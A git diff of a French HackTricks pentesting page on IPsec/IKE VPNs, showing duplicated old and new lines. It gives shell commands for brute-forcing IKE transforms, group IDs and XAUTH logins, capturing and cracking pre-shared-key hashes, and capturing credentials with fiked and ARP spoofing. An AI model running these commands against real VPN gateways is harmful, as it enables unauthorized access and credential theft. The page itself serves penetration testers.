* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -24,11 +26,11 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
IPsec est la technologie la plus couramment utilisée pour les solutions VPN d'entreprise, à la fois de passerelle à passerelle (LAN à LAN) et d'hôte à passerelle (accès distant).
**IKE est un type d'ISAKMP** (Internet Security Association Key Management Protocol), qui est un cadre d'authentification et d'échange de clés. IKE établit l'association de sécurité (SA) entre deux points de terminaison grâce à un processus en trois phases :
**IKE est un type d'ISAKMP** (Internet Security Association Key Management Protocol), qui est un cadre pour l'authentification et l'échange de clés. IKE établit l'association de sécurité (SA) entre deux points finaux à travers un processus en trois phases :
* **Phase 1 :** Établir un canal sécurisé entre 2 points de terminaison à l'aide d'une clé pré-partagée (PSK) ou de certificats. Il peut utiliser le mode principal (3 paires de messages) ou le mode **agressif**.
* **Phase 1.5 :** C'est facultatif, cela s'appelle la phase d'authentification étendue et authentifie l'utilisateur qui essaie de se connecter (utilisateur + mot de passe).
* **Phase 2 :** Négocie les paramètres de sécurité des données en utilisant ESP et AH. Il peut utiliser un algorithme différent de celui utilisé dans la phase 1 (Perfect Forward Secrecy (PFS)).
* **Phase 1 :** Établir un canal sécurisé entre 2 points finaux en utilisant une clé pré-partagée (PSK) ou des certificats. Il peut utiliser le mode principal (3 paires de messages) ou le **mode agressif**.
* **Phase 1.5 :** C'est facultatif, cela s'appelle Phase d'authentification étendue et authentifie l'utilisateur qui tente de se connecter (utilisateur+mot de passe).
* **Phase 2 :** Négocie les paramètres de sécurité des données en utilisant ESP et AH. Il peut utiliser un algorithme différent de celui utilisé en phase 1 (Secret de session avancé (PFS)).
**Port par défaut :** 500/udp
@ -44,9 +46,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Trouver une transformation valide**
La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. **Chaque transformation** contient un certain nombre d'attributs tels que DES ou 3DES comme algorithme de **chiffrement**, SHA ou MD5 comme algorithme d'**intégrité**, une clé pré-partagée comme type d'**authentification**, Diffie-Hellman 1 ou 2 comme algorithme de **distribution de clé** et 28800 secondes comme **durée de vie**.
La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. Chaque transform contient un certain nombre d'attributs tels que DES ou 3DES comme algorithme de chiffrement, SHA ou MD5 comme algorithme d'intégrité, une clé pré-partagée comme type d'authentification, Diffie-Hellman 1 ou 2 comme algorithme de distribution de clé et 28800 secondes comme durée de vie.
Ensuite, la première chose que vous devez faire est de **trouver une transformation valide**, afin que le serveur puisse communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil **ike-scan**. Par défaut, Ike-scan fonctionne en mode principal et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition avec **huit transformations à l'intérieur**.
La première chose à faire est de trouver une transformation valide, afin que le serveur puisse communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil ike-scan. Par défaut, Ike-scan fonctionne en mode principal et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition contenant huit transformations à l'intérieur.
En fonction de la réponse, vous pouvez obtenir des informations sur le point de terminaison :
```
@ -59,43 +61,43 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé **AUTH** avec la valeur **PSK**. Cela signifie que le VPN est configuré en utilisant une clé prépartagée (et c'est vraiment bon pour un pentester).\
Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé **AUTH** avec la valeur **PSK**. Cela signifie que le VPN est configuré en utilisant une clé prépartagée (ce qui est vraiment bon pour un testeur d'intrusion).\
**La valeur de la dernière ligne est également très importante :**
* _0 handshake retourné; 0 notification retournée:_ Cela signifie que la cible n'est pas une passerelle IPsec.
* _**1 handshake retourné; 0 notification retournée:**_ Cela signifie que la cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et l'une ou plusieurs des transformations que vous avez proposées sont acceptables (une transformation valide sera affichée dans la sortie).
* _0 handshake retourné; 1 notification retournée:_ Les passerelles VPN répondent par un message de notification lorsque aucune des transformations n'est acceptable (bien que certaines passerelles ne le fassent pas, auquel cas une analyse supplémentaire et une proposition révisée doivent être essayées).
* _0 handshake retourné; 0 notification retournée:_ Cela signifie que la cible n'est **pas une passerelle IPsec**.
* _**1 handshake retourné; 0 notification retournée:**_ Cela signifie que la **cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et qu'une ou plusieurs des transformations que vous avez proposées sont acceptables** (une transformation valide sera affichée dans la sortie).
* _0 handshake retourné; 1 notification retournée:_ Les passerelles VPN répondent avec un message de notification lorsque **aucune des transformations n'est acceptable** (bien que certaines passerelles ne le fassent pas, auquel cas une analyse plus approfondie et une proposition révisée devraient être essayées).
Dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le troisième cas, vous devez **forcer un peu pour trouver une transformation valide:**
Ensuite, dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le 3ème cas, alors vous devez **forcer un peu pour trouver une transformation valide :**
Tout d'abord, vous devez créer toutes les transformations possibles :
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
Et ensuite, effectuez une attaque par force brute sur chacun d'eux en utilisant ike-scan (cela peut prendre plusieurs minutes) :
Et ensuite effectuez une attaque par force brute sur chacun en utilisant ike-scan (cela peut prendre plusieurs minutes) :
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Si la méthode de la force brute n'a pas fonctionné, il se peut que le serveur réponde sans effectuer de poignées de main, même pour des transformations valides. Dans ce cas, vous pouvez essayer la même méthode de force brute, mais en utilisant le mode agressif :
Si la méthode de la force brute n'a pas fonctionné, peut-être que le serveur répond sans poignées de main même aux transformations valides. Ensuite, vous pourriez essayer la même méthode de force brute mais en utilisant le mode agressif :
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Espérons qu'**une transformation valide soit renvoyée**.\
Vous pouvez essayer **la même attaque** en utilisant [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Vous pouvez également essayer de forcer les transformations avec [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
Vous pouvez essayer la **même attaque** en utilisant [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Vous pourriez également essayer de forcer les transformations avec [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
Dans **DH Group: 14 = 2048-bit MODP** et **15 = 3072-bit**\
Dans **Groupe DH : 14 = MODP 2048 bits** et **15 = 3072 bits**\
**2 = HMAC-SHA = SHA1 (dans ce cas). Le format --trans est $Enc,$Hash,$Auth,$DH**
Cisco recommande d'éviter en particulier les groupes DH 1 et 2. Les auteurs de l'article décrivent comment il est probable que les États-nations puissent décrypter les sessions IPsec négociées à l'aide de groupes faibles via la précomputation des logarithmes discrets. Les centaines de millions de dollars dépensés pour effectuer la précomputation sont amortis par le décryptage en temps réel de toute session utilisant un groupe faible (1 024 bits ou moins).
Cisco recommande d'éviter en particulier les groupes DH 1 et 2. Les auteurs de l'article décrivent comment il est probable que **les États-nations puissent décrypter les sessions IPsec négociées en utilisant des groupes faibles via la précomputation des logs discrets**. Les centaines de millions de dollars dépensés pour effectuer la précomputation sont amortis par le décryptage en temps réel de toute session utilisant un groupe faible (1 024 bits ou moins).
### Fingerprinting du serveur
Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le fournisseur** du dispositif. L'outil envoie une proposition initiale et arrête de rejouer. Ensuite, il **analyse** la **différence de temps** entre les **messages** reçus du serveur et le modèle de réponse correspondant, le testeur de pénétration peut identifier avec succès le fournisseur de la passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile optionnelle **Vendor ID (VID)** avec IKE.
Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le fournisseur** du dispositif. L'outil envoie une proposition initiale et arrête de rejouer. Ensuite, il **analyse** la **différence de temps** entre les **messages reçus** du serveur et le modèle de réponse correspondant, le testeur d'intrusion peut identifier avec succès le fournisseur de passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile **Vendor ID (VID) optionnelle** avec IKE.
**Spécifiez la transformation valide si nécessaire** (en utilisant --trans)
@ -123,50 +125,46 @@ Cela peut également être réalisé avec le script nmap _**ike-version**_
## Trouver le bon ID (nom de groupe)
Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode Aggressive et le bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, vous devrez donc le brute-force.\
Pour ce faire, je vous recommande 2 méthodes :
Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode Aggressif et du bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, donc vous devrez le brute-force.\
Pour ce faire, je vous recommanderais 2 méthodes:
### Brute-force de l'ID avec ike-scan
Tout d'abord, essayez de faire une demande avec un ID factice pour essayer de recueillir le hash ("-P") :
Tout d'abord, essayez de faire une demande avec un faux ID pour essayer de récupérer le hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Si **aucun hachage n'est renvoyé**, alors cette méthode de force brute devrait fonctionner. **Si un hachage est renvoyé, cela signifie qu'un faux hachage va être renvoyé pour un faux ID, donc cette méthode ne sera pas fiable** pour la force brute de l'ID. Par exemple, un faux hachage pourrait être renvoyé (cela se produit dans les versions modernes) :
Si **aucun hash n'est renvoyé**, alors probablement cette méthode de force brute fonctionnera. **Si un hash est renvoyé, cela signifie qu'un faux hash va être renvoyé pour un faux ID, donc cette méthode ne sera pas fiable** pour la force brute de l'ID. Par exemple, un faux hash pourrait être renvoyé (cela se produit dans les versions modernes) :
![](<../.gitbook/assets/image (110).png>)
Mais si, comme je l'ai dit, aucun hachage n'est renvoyé, vous devriez essayer de forcer les noms de groupe courants en utilisant ike-scan.
Mais comme je l'ai dit, si aucun hash n'est renvoyé, vous devriez essayer de force brute les noms de groupe courants en utilisant ike-scan.
Ce script **essaiera de forcer les IDs possibles** et renverra les IDs où une poignée de main valide est renvoyée (ce sera un nom de groupe valide).
Ce script **essaiera de force brute les IDs possibles** et renverra les IDs où une poignée de main valide est renvoyée (ce sera un nom de groupe valide).
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'entre elles fonctionne correctement).
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'elles fonctionne correctement).
Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [celui de seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de noms de groupe courants pour les forcer :
Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [celui dans seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) des noms de groupe courants pour les force brute :
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
Ou utilisez ce dictionnaire (qui est une combinaison des deux autres dictionnaires sans répétitions) :
{% file src="../.gitbook/assets/vpnIDs.txt" %}
### Bruteforcer l'ID avec Iker
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour forcer de manière brutale les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie de ike-scan**.
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour effectuer une attaque par force brute sur les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie de ike-scan**.
### Bruteforcer l'ID avec ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **forcer de manière brutale les IDs également**. Cet outil **essaiera d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **distinguer un ID valide d'un ID non valide** (il peut y avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **forcer de manière brute les IDs également**. Cet outil **essaiera d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **différencier un ID valide d'un ID non valide** (pouvant entraîner des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
Par défaut, **ikeforce** enverra au début quelques IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.
* La **première méthode** consiste à forcer de manière brutale les noms de groupe en **recherchant** les informations **Dead Peer Detection DPD** des systèmes Cisco (ces informations ne sont renvoyées par le serveur que si le nom de groupe est correct).
* La **deuxième méthode** disponible consiste à **vérifier le nombre de réponses envoyées à chaque tentative** car parfois plus de paquets sont envoyés lorsque l'ID correct est utilisé.
* La **première méthode** consiste à forcer de manière brute les noms de groupe en **recherchant** les informations **Dead Peer Detection DPD** des systèmes Cisco (ces informations ne sont renvoyées que par le serveur si le nom de groupe est correct).
* La **deuxième méthode** disponible consiste à **vérifier le nombre de réponses envoyées à chaque tentative** car parfois plus de paquets sont envoyés lorsque le bon ID est utilisé.
* La **troisième méthode** consiste à **rechercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect**.
* Enfin, si le serveur ne renvoie rien lors des vérifications, **ikeforce** essaiera de forcer de manière brutale le serveur et vérifiera si lorsque l'ID correct est envoyé, le serveur renvoie un paquet.\
Évidemment, l'objectif de la force brute de l'ID est d'obtenir la **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et la **PSK**, vous devrez forcer de manière brutale le XAUTH (s'il est activé).
* Enfin, si le serveur ne renvoie rien aux vérifications, **ikeforce** tentera de forcer de manière brute le serveur et vérifiera si lorsque le bon ID est envoyé, le serveur renvoie un paquet.\
Évidemment, l'objectif de la force brute de l'ID est d'obtenir la **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et la **PSK**, vous devrez forcer de manière brute le XAUTH (s'il est activé).
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'entre elles fonctionne correctement).
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'elles fonctionne correctement).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -175,19 +173,17 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID
### Capture d'ID
Il est également possible d'obtenir des noms d'utilisateur valides en écoutant la connexion entre le client VPN et le serveur, car le premier paquet de mode agressif contenant l'ID du client est envoyé en clair (d'après le livre **Network Security Assessment: Know Your Network**)
Il est également possible d'obtenir des noms d'utilisateur valides en sniffant la connexion entre le client VPN et le serveur, car le premier paquet de mode agressif contenant l'ID du client est envoyé en clair (du livre **Network Security Assessment: Know Your Network**)
![](<../.gitbook/assets/image (111).png>)
## Capture et craquage du hash
Enfin, si vous avez trouvé une **transformation valide** et le **nom du groupe** et si le **mode agressif est autorisé**, vous pouvez très facilement récupérer le hash crackable :
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
Le hash sera enregistré dans _hash.txt_.
Le hash sera enregistré à l'intérieur de _hash.txt_.
Vous pouvez utiliser **psk-crack**, **john** (en utilisant [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) et **hashcat** pour **cracker** le hash :
```bash
@ -195,48 +191,62 @@ psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
La plupart des implémentations utilisent le mode **agressif IKE avec un PSK pour effectuer une authentification de groupe**, et **XAUTH pour fournir une authentification utilisateur supplémentaire** (via Microsoft Active Directory, RADIUS ou similaire). Dans **IKEv2**, **EAP remplace XAUTH** pour authentifier les utilisateurs.
La plupart des implémentations utilisent **le mode agressif IKE avec un PSK pour effectuer une authentification de groupe**, et **XAUTH pour fournir une authentification utilisateur supplémentaire** (via Microsoft Active Directory, RADIUS, ou similaire). Dans **IKEv2**, **EAP remplace XAUTH** pour authentifier les utilisateurs.
### MitM du réseau local pour capturer les identifiants
Ainsi, vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (vous devez rediriger le trafic IKE vers `fiked` pour l'écoute, ce qui peut être fait à l'aide de l'usurpation ARP, [plus d'informations](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira en tant que point de terminaison VPN et capturera les identifiants XAuth :
Ainsi, vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (Vous devez rediriger le trafic IKE vers `fiked` pour l'écoute, ce qui peut être fait à l'aide de l'usurpation ARP, [plus d'informations](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira en tant que point de terminaison VPN et capturera les identifiants XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
De plus, en utilisant IPSec, essayez de réaliser une attaque de l'homme du milieu (MitM) et bloquez tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il se peut que le trafic soit envoyé en clair.
### Attaque de l'homme du milieu (MitM) et blocage du trafic sur le port 500
Aussi, en utilisant IPSec, essayez de réaliser une attaque de l'homme du milieu (MitM) et de bloquer tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il est possible que le trafic soit envoyé en clair.
### Brute-forcing du nom d'utilisateur et du mot de passe XAUTH avec ikeforce
Pour effectuer une attaque de force brute sur le **XAUTH** (lorsque vous connaissez un nom de groupe valide **id** et le **psk**), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateurs et une liste de mots de passe :
Pour effectuer une attaque de force brute sur le **XAUTH** (lorsque vous connaissez un nom de groupe valide **id** et la **psk**), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateurs et une liste de mots de passe :
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
De cette manière, ikeforce essaiera de se connecter en utilisant chaque combinaison nom d'utilisateur: mot de passe.
De cette manière, ikeforce va essayer de se connecter en utilisant chaque combinaison nom d'utilisateur : mot de passe.
Si vous avez trouvé une ou plusieurs transformations valides, utilisez-les comme dans les étapes précédentes.
Si vous avez trouvé un ou plusieurs transforms valides, utilisez-les comme dans les étapes précédentes.
## Authentification avec un VPN IPSEC
Dans Kali, **VPNC** est utilisé pour établir des tunnels IPsec. Les **profils** doivent être situés dans _**/etc/vpnc/**_ et vous pouvez utiliser l'outil _**vpnc**_ pour les appeler.\
Exemple tiré du livre **Network Security Assessment 3rd Edition**:
```
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
IPSec gateway 10.0.0.250
IPSec ID vpntest
IPSec secret groupsecret123
Dans Kali, **VPNC** est utilisé pour établir des tunnels IPsec. Les **profils** doivent être situés dans le répertoire `/etc/vpnc/`. Vous pouvez initier ces profils en utilisant la commande _**vpnc**_.
Les commandes et configurations suivantes illustrent le processus de configuration d'une connexion VPN avec VPNC :
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username chris
Xauth password tiffers1
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
Dans cette configuration :
- Remplacez `[VPN_GATEWAY_IP]` par l'adresse IP réelle de la passerelle VPN.
- Remplacez `[VPN_CONNECTION_ID]` par l'identifiant de la connexion VPN.
- Remplacez `[VPN_GROUP_SECRET]` par le secret de groupe VPN.
- Remplacez `[VPN_USERNAME]` et `[VPN_PASSWORD]` par les informations d'authentification VPN.
- `[PID]` symbolise l'ID de processus qui sera attribué lorsque `vpnc` sera lancé.
Assurez-vous d'utiliser des valeurs réelles et sécurisées pour remplacer les espaces réservés lors de la configuration du VPN.
## Matériel de référence
* [Article sur le craquage de PSK](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Analyse d'une implémentation VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Évaluation de la sécurité du réseau, 3e édition
## Shodan
@ -244,18 +254,20 @@ root@kali:~# ifconfig tun0
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives et détecte les problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, identifie les problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

133
network-services-pentesting/pentesting-ldap.md
View file

@ -2,39 +2,39 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
